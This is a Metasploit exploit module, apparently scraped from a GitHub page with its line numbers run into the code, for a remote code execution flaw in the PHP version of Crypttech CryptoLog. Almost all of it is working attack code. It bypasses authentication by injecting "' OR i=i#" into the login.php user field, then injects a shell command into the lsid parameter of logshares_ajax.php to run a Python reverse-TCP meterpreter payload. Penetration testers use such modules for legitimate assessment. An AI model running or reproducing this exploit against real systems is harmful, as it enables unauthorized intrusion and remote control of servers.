Path: blob/master/modules/exploits/linux/http/crypttech_cryptolog_login_exec.rb
25107 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => "Crypttech CryptoLog Remote Code Execution",15'Description' => %q{16This module exploits a SQL injection and command injection vulnerability in the PHP version of CryptoLog.17An unauthenticated user can execute a terminal command under the context of the web user. These vulnerabilities18are no longer present in the ASP.NET version CryptoLog, available since 2009.1920CryptoLog's login.php endpoint is responsible for the login process. One of the user supplied parameters is21used by the application without input validation and parameter binding, which leads to SQL injection22vulnerability. Successfully exploiting this vulnerability gives a valid session.2324CryptoLog's logshares_ajax.php endpoint is responsible for executing an operation system command. It's not25possible to access this endpoint without having a valid session. One user parameter is used by the26application while executing an operating system command, which causes a command injection issue.2728Combining these vulnerabilities gives the opportunity execute operation system commands under the context29of the web user.30},31'License' => MSF_LICENSE,32'Author' => [33'Mehmet Ince <[email protected]>' # author & msf module34],35'References' => [36['CVE', '2025-34102'],37['URL', 'https://pentest.blog/advisory-cryptolog-unauthenticated-remote-code-execution/']38],39'DefaultOptions' => {40'Payload' => 'python/meterpreter/reverse_tcp'41},42'Platform' => ['python'],43'Arch' => ARCH_PYTHON,44'Targets' => [[ 'Automatic', {}]],45'Privileged' => false,46'DisclosureDate' => '2017-05-03',47'DefaultTarget' => 0,48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58Opt::RPORT(80),59OptString.new('TARGETURI', [true, 'The URI of the vulnerable CryptoLog instance', '/'])60]61)62end6364def bypass_login65r = rand_text_alpha(15)66i = rand_text_numeric(5)6768res = send_request_cgi({69'method' => 'POST',70'uri' => normalize_uri(target_uri.path, 'cryptolog', 'login.php'),71'vars_get' => {72'act' => 'login'73},74'vars_post' => {75'user' => "' OR #{i}=#{i}#",76'pass' => "#{r}"77}78})7980if res && res.code == 302 && res.headers.include?('Set-Cookie')81res.get_cookies82else83nil84end85end8687def check88if bypass_login.nil?89Exploit::CheckCode::Safe90else91Exploit::CheckCode::Appears92end93end9495def exploit96print_status("Bypassing login by exploiting SQLi flaw")9798cookie = bypass_login99100if cookie.nil?101fail_with(Failure::Unknown, "Something went wrong.")102end103104print_good("Successfully logged in")105106print_status("Exploiting command injection flaw")107r = rand_text_alpha(15)108109send_request_cgi({110'method' => 'POST',111'uri' => normalize_uri(target_uri.path, 'cryptolog', 'logshares_ajax.php'),112'cookie' => cookie,113'vars_post' => {114'opt' => "check",115'lsid' => "$(python -c \"#{payload.encoded}\")",116'lssharetype' => "#{r}"117}118})119end120end121122123